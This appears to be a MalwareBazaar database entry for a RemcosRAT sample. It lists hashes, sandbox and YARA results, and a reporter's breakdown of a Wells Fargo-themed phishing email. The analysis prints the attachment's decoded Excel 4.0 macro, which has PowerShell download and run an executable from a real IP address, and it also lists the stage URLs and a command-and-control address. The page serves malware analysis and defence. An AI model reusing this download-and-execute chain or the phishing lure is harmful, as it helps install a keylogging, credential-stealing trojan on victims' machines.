MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 49cb5b15b21ecd89b7462da8008c6c49d32310858912344f11fa04dab67f1f3a. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


RemcosRAT


Vendor detections: 9


Intelligence 9 IOCs YARA 9 File information Comments
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: 49cb5b15b21ecd89b7462da8008c6c49d32310858912344f11fa04dab67f1f3a
SHA3-384 hash: 2002c491f6a6839053f37e152e101a2dbe4745bd657ba80f60fd0b82a89fc5b56f9ed0a1ee8db62d4cc9ec7893952762
SHA1 hash: d20834f1fef28da6c6abf00e1d25e8f488c016f4
MD5 hash: d8667b25ba6dda415c8aae718dd4acbe
humanhash: ceiling-texas-maryland-tango
File name:remit.exe
Download: download sample
Signature RemcosRAT
Create hunting rule
File size:961'024 bytes
First seen:2021-10-07 01:03:43 UTC
Last seen:Never
File type:Executable exe
MIME type:application/x-dosexec
imphash a75c37244e3bdfe1f2052f7c93d03b4e (4 x RemcosRAT, 3 x Formbook, 1 x NetWire)
ssdeep 24576:nWv+QwSKgQ0qgQDKqOTLDE4bpJlzNgojDGBav:WmWKgNxLQ4DRNRG0
Threatray 296 similar samples on MalwareBazaar
TLSH T11C159C93B1C48E33E15F363E4D4B67997C5AAD21AC1CA5C536F42E2C7B35100B6392AB
File icon (PE):PE icon
dhash icon 12b232f2b98c8681 (12 x Formbook, 12 x RemcosRAT, 2 x AveMariaRAT)
Reporter AndreGironda
Tags:exe remcos RemcosRAT


Avatar
AndreGironda
MITRE T1566.001
Date: 06 Oct 2021 13:30-14:00 -0700
Received: from authenticated-user (mail.serverdata.fit [167.99.251.211]) by mail.serverdata.fit (Postfix) with ESMTPA id 8AD1A2CA9DB
Reply-To: Wells Fargo <bodyshape@serverdata.fit>
From: Wells Fargo <securetransmission@alert-wellsfargo.com>
Subject: Payment Advice for <snipped> : 10/6/2021
Message-ID: <20211006133124.0061C8ECC1A87F12@alert-wellsfargo.com>
MIME-Version: 1.0
List-Unsubscribe: <user>
Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_440E9D16.123C7F1F"
Attachment Name: Secure Remittance.xls
Attachment SHA256: 0e7faf90a4ffc24f38e6fc171b9a5faa7b285fde26a77e8bcac1366ecc22a827
MalDoc Password: 10621
MalDoc in-image Yara match: $png_img_value_0 = {89504e470d0a1a0a0000000d49484452000004e2000002ee08060000000394b9070000200049444154789cecdd777c5465dac6f1ebcc4c7a48250d42127a91261d153ba28805c5debb6b4557d7b5bb56dc5557dfb5d7}
Excel_Hidden_Macro_Sheet: 0x0:$ole_marker: D0 CF 11 E0 A1 B1 1A E1
Excel 4.0 Macros: 0x302e:$macro_sheet_h1: 85 00 0E 00 90 58 01 00 01 01

auto_open: auto_open->h21jh2!$E$6
CELL:E7 , PartialEvaluation , SET.NAME("fff",REGISTER.ID("She"&"ll32","Shel"&"lExe"&"cuteA","JJC"&"CCJJ"))
CELL:E8 , FullEvaluation , CALL(fff,0,"open","powershell","-nop [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri http://198.12.127.187/octane.exe -OutFile $env:public\remit.exe;explorer $env:public\remit.exe",0,0)
CELL:E9 , End , HALT()

Stage 1 URL: hXXp://198[.]12.127.187/octane[.]exe
Stage Executable SHA256: 49cb5b15b21ecd89b7462da8008c6c49d32310858912344f11fa04dab67f1f3a
Unpacked Stage DLL 1 SHA256: b1211aec36572302d014a5f5a5caf0ce930c706d6effd9f2c9bba93d8e051503
Unpacked Stage DLL 2 SHA256: 18d5f2bb4c00c8e6fb62f43bc3878c615b600ec26bc25b98204cc2e945cd175a
Stage 2 URL: hXXps://onedrive.live[.]com/download?cid=D6CD7BA665204307&resid=D6CD7BA665204307%21109&authkey=AMdOM29o41CbOZ0
Stage 3 URL: hXXps://20mqvq.am.files.1drv[.]com/y4maaeCB02X_6yxJfKCxyQEEoXI9WtenaWldZ_DiAYjPS6WTaRiMeut8V5eQ8hfzoc-ZZVPPxkD-k21i6bupJ8KEbfMANeSol2GwrKmdSgzb3Kby_z4RpoZ1O2k0SGR7WcjN0A8eVBjRsAUs4tNVUjrXXrBFa_-hVZQXjBCAPqqMzCTcnWb7_DHeyCVOy5Qmg0RECZJEpAjQM-uFp17Tu3vmQ/Csigvgmrhqyzxcdrdqesimyzfccnhhv?download&psid=1
C2 Connect: 45.162.228.171:30445

Intelligence

File Origin
# of uploads :
1
# of downloads :
257
Origin country :
n/a
Vendor Threat Intelligence
Malware family:
n/a
ID:
1
File name:
remit.exe
Verdict:
Malicious activity
Analysis date:
2021-10-07 01:05:22 UTC
Tags:
rat remcos keylogger stealer
Link:
https://app.any.run/tasks/cd25d8c3-1944-4fa0-a4be-436dc1389fca

Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Detection:
n/a
Link:
https://www.capesandbox.com/analysis/195579/
Detection(s):
Win.Trojan.Remcos-9897068-0
Create hunting rule

Result
Verdict:
Malware
Maliciousness:

Behaviour
Creating a window
DNS request
Connection attempt
Sending a custom TCP request
Verdict:
Malicious
Threat level:
  10/10
Confidence:
100%
Tags:
keylogger packed remcos virus
Link:
https://www.filescan.io/uploads/615e4784b95458900cdd9f06/reports/b3af1a8c-73b0-4203-b2df-84e7f097374f/overview
Verdict:
Unknown
Link:
https://analyze.intezer.com/analyses/aa54a5a0-ba74-48b6-b904-59e2a7f44f63
Result
Threat name:
Remcos
Create hunting rule
Detection:
malicious
Classification:
troj.evad
Score:
100 / 100
Link:
https://www.joesandbox.com/analysis/865952
Signature
C2 URLs / IPs found in malware configuration
Creates a thread in another existing process (thread injection)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Writes to foreign memory regions
Yara detected Remcos RAT
Behaviour
Behavior Graph:
Download SVG
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 498380 Sample: remit.exe Startdate: 07/10/2021 Architecture: WINDOWS Score: 100 24 saptransmissions.dvrlists.com 2->24 40 Multi AV Scanner detection for domain / URL 2->40 42 Found malware configuration 2->42 44 Malicious sample detected (through community Yara rule) 2->44 46 4 other signatures 2->46 7 Csigvgm.exe 15 2->7         started        11 remit.exe 1 17 2->11         started        14 Csigvgm.exe 15 2->14         started        signatures3 process4 dnsIp5 26 192.168.2.1 unknown unknown 7->26 28 onedrive.live.com 7->28 34 2 other IPs or domains 7->34 48 Multi AV Scanner detection for dropped file 7->48 50 Writes to foreign memory regions 7->50 52 Creates a thread in another existing process (thread injection) 7->52 16 mobsync.exe 7->16         started        30 onedrive.live.com 11->30 36 2 other IPs or domains 11->36 22 C:\Users\Public\Libraries\...\Csigvgm.exe, PE32 11->22 dropped 18 mobsync.exe 11->18         started        32 onedrive.live.com 14->32 38 2 other IPs or domains 14->38 20 mobsync.exe 14->20         started        file6 signatures7 process8
Detection:
n/a
Link:
https://mwdb.cert.pl/sample/49cb5b15b21ecd89b7462da8008c6c49d32310858912344f11fa04dab67f1f3a/
Threat name:
Win32.Trojan.FormBook
Create hunting rule
Status:
Malicious
First seen:
2021-10-07 00:46:00 UTC
AV detection:
20 of 45 (44.44%)
Threat level:
  5/5
Detection(s):
Suspicious file
Link:
https://check.spamhaus.org/check/?searchterm=jhfvwfnsd3gytn2gfwuabddmjhjsgeefrejdityr7icnvnt7d45a._file
Verdict:
malicious
Similar samples:
2930d6b6e7f5446fa4d48a60c0cbf9ee6f0141ae26c44fcf1002eeb190904dcb
RemcosRAT
3fcc98cda3b1b88eea1619bea29091902d8e9fee91040d3a335215d14bd68bbf
RemcosRAT
5848c4097d7d7099bbdb081f08b47f19c25abd542dd6f719a654f06421b2e480
RemcosRAT
7640f01bec727bbd25efedaefbedca1ba2b3db13bbded70646829ca9aa83fd7f
RemcosRAT
8de4526e450e002bac649a1c6c8f0923ecc64b9813b7abeff0f754a5ee6db0ae
RemcosRAT
90913963f2b40a775dd80b8ba90692050d516cbe3fd466d1489766a45654a8d9
RemcosRAT
a8eaa88b749a304422b842993d8060cdd5523cf0dadabc5539386f2f4dfbefa9
RemcosRAT
ba1285343924cfcb7e2f5e6b609e0cb6c1f055cc93fccdf7b7d34940967560ea
RemcosRAT
bb93de77eb4670ba2702d5c3db086b6db33502ae10a01f2fbd8178fc597f2c58
RemcosRAT
ca8c414d4473af6d57e24c15fbdaa982f3f1cc35cdcede216544b430460337c1
RemcosRAT
+ 286 additional samples on MalwareBazaar
Result
Malware family:
n/a
Score:
  6/10
Tags:
persistence
Link:
https://tria.ge/reports/211007-beyn4sbfh6/
Behaviour
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Program crash
Adds Run key to start application
Unpacked files
SH256 hash:
18d5f2bb4c00c8e6fb62f43bc3878c615b600ec26bc25b98204cc2e945cd175a
MD5 hash:
b0d9d156b07f2199b3334fc6564c133d
SHA1 hash:
0c39614273b857121740e0142d1d9809de8bc41b
Link:
https://www.unpac.me/results/bc11c3f9-9242-4331-ad1e-8b6a7ce8640b/
Parent samples :
b400601e35e72a20ca4a0fb19af7a93ddeddcd568674232cabb6c1e05ce4fd07
a643235802bd118331000b4a251952815382078dd0aaaded76e4a8890bbac5f6
33b01cf0eb422d872201670e34b732f76c980ae7ccb016068438272ed426a50b
fe6bd626fd98e3c0e4a2c350e5d927398e22e7731e7c2e1f31bc02181735c4e0
a97b00620e1e8ef9ef5c5f922f5b40ecf698504402d3e14979701c330bef7b56
90e1eac40edda005fffadbb1d16c652d16e685f8f4cf7375eb6ac928222c3a1c
1e54beecbd654f17bab2c6f883ea089943d68ae3e49aaea079182173dc203297
a0703367806de16bac9c75c016780c0bf3b1d8c21cf7f51b6a47b6a1aba74999
1ed62fd139d5efe1cb2650f52cf405d615dc19dae62744df9fb364cd1970a4bc
ffb6236e6dd03ba2599326f3d83d2ffabf8ab18902f1865aa0a68f1881e31978
99cdf3421923232c160c5075af3bf8620df65bd59cf99cc341f17a58e1eeb4f2
8f1eefd14608fae865576d9f7a24be116eb9d8dcebf89c954e2e645b06174c4e
f86258665b68d70e83397ac4ef17598c552b994dd13f26b8208c4d40b8e94816
ed78db064dfb4ae791498b2d08410a69bdad684ff709319d179c2383dd8e2f1c
3490cb5fd9a372722f95ed69c41e23d5cd274ce6b3c024ec1731962a380409d6
d86532a631143032da8dd4e4fd86cbaed87777ef2ede4a60377d534cb9ea7271
298d542746dfa4922dd5fbc8fab572be58447c9dbd1481c55bd2254bb275684f
ffb0bd5cf5a1716fa50f01a4b4fd98d396842c7c263d3ce03623748430b30a93
a2067e35b12b83ddae55145931870302de477b5ccce82a5e86ea7bf8e057d8d7
a2539269c2b9200d7baed9f0dfc25b59fd4713a641d79fd9bd13272c7e1296ca
0aff281c192e919ce8a4e2091a058aa3c8fab2379dd50d7dd7ac7217af4dc838
cc8b096d71a4734e17e6f1bcf10d9730e5a2b3ab15b7e89852a4cdd204563d29
1e24e03e9ffdbe39ca8d357d0130aff5c50f2ddd7b2f613ab9dc01f02d0527d3
f60b6dfcaf466a9cf6b7831fcd74abc70efc16aec11d3b38fdbc7562003ba61b
67c445ff181fcaa6b46a1d1af78a9df1ac413593f29561e4fa43059c7ed85ace
SH256 hash:
b1211aec36572302d014a5f5a5caf0ce930c706d6effd9f2c9bba93d8e051503
MD5 hash:
60fc22f740393df842388aa59a8285e0
SHA1 hash:
30b276db2f5849114198432e61fb522eedbf6b8a
Link:
https://www.unpac.me/results/bc11c3f9-9242-4331-ad1e-8b6a7ce8640b/
SH256 hash:
49cb5b15b21ecd89b7462da8008c6c49d32310858912344f11fa04dab67f1f3a
MD5 hash:
d8667b25ba6dda415c8aae718dd4acbe
SHA1 hash:
d20834f1fef28da6c6abf00e1d25e8f488c016f4
Link:
https://www.unpac.me/results/bc11c3f9-9242-4331-ad1e-8b6a7ce8640b/
Verdict:
Malicious
Link:
https://www.vmray.com/analyses/49cb5b15b21e/report/overview.html
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Malicious File
Score:
1.00
Link:
https://yomi.yoroi.company/submissions/49cb5b15b21ecd89b7462da8008c6c49d32310858912344f11fa04dab67f1f3a

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:ach_RemcosRAT
Create hunting rule
Author:abuse.ch
Rule name:INDICATOR_EXE_Packed_MPress
Create hunting rule
Author:ditekSHen
Description:Detects executables built or packed with MPress PE compressor
Rule name:INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
Create hunting rule
Author:ditekSHen
Description:Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers
Rule name:INDICATOR_SUSPICIOUS_EXE_Referenfces_Messaging_Clients
Create hunting rule
Author:ditekSHen
Description:Detects executables referencing many email and collaboration clients. Observed in information stealers
Rule name:INDICATOR_SUSPICIOUS_EXE_UACBypass_EnvVarScheduledTasks
Create hunting rule
Author:ditekSHen
Description:detects Windows exceutables potentially bypassing UAC (ab)using Environment Variables in Scheduled Tasks
Rule name:INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer
Create hunting rule
Author:ditekSHen
Description:detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Rule name:Remcos
Create hunting rule
Author:kevoreilly
Description:Remcos Payload
Rule name:remcos_rat
Create hunting rule
Author:jeFF0Falltrades
Rule name:REMCOS_RAT_variants
Create hunting rule

File information

The table below shows additional information about this malware sample such as delivery method and external references.

RemcosRAT

Excel file xlsx 0e7faf90a4ffc24f38e6fc171b9a5faa7b285fde26a77e8bcac1366ecc22a827

RemcosRAT

Executable exe 49cb5b15b21ecd89b7462da8008c6c49d32310858912344f11fa04dab67f1f3a

(this sample)

b1211aec36572302d014a5f5a5caf0ce930c706d6effd9f2c9bba93d8e051503

  
Link
https://tria.ge/211007-am1yrsbfg6
  
Dropped by
SHA256 0e7faf90a4ffc24f38e6fc171b9a5faa7b285fde26a77e8bcac1366ecc22a827
  
Dropping
SHA256 b1211aec36572302d014a5f5a5caf0ce930c706d6effd9f2c9bba93d8e051503
  
Dropping
SHA256 18d5f2bb4c00c8e6fb62f43bc3878c615b600ec26bc25b98204cc2e945cd175a
  
Delivery method
Distributed via web download
Cape
Cape
https://www.capesandbox.com/analysis/195579/
  
URLhaus
https://urlhaus.abuse.ch/url/1659219/

Comments